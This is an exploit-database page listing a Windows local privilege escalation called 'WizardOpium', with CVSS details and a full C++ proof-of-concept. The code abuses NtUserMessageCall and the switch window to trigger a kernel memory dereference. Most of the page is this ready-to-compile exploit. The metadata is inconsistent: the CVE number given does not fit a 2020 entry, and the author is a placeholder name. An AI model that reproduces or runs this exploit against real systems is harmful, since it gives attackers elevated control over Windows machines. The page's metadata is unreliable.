Exploitalert - Database of Exploits

Microsoft Windows WizardOpium Local Privilege Escalation

CVE	Category	Price	Severity
CVE-2021-40444	CWE-269	$1000	High

Author	Risk	Exploitation Type	Date
John Doe	Critical	Local	2020-03-09

CPE
cpe:cpe:/o:microsoft:windows

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2020030044

Microsoft Windows WizardOpium Local Privilege Escalation

#include <cstdio> #include <windows.h> extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); int main() { HINSTANCE hInstance = GetModuleHandle(NULL); WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0 printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); } printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); } printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1); printf("[*] Allocate memory to be used for corruption\n"); PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); printf("\tptr: %p\n", mem); PBYTE byteView = (PBYTE)mem; byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow //pass DrawSwitchWndHilite double dereference PVOID* ulongView = (PVOID*)mem; ulongView[0x20 / sizeof(PVOID)] = mem; printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem); printf("[*] GetLastError = %x\n", GetLastError()); printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); printf("[*] Simulating alt key press\n"); BYTE keyState[256]; GetKeyboardState(keyState); keyState[VK_MENU] |= 0x80; SetKeyboardState(keyState); printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1); }

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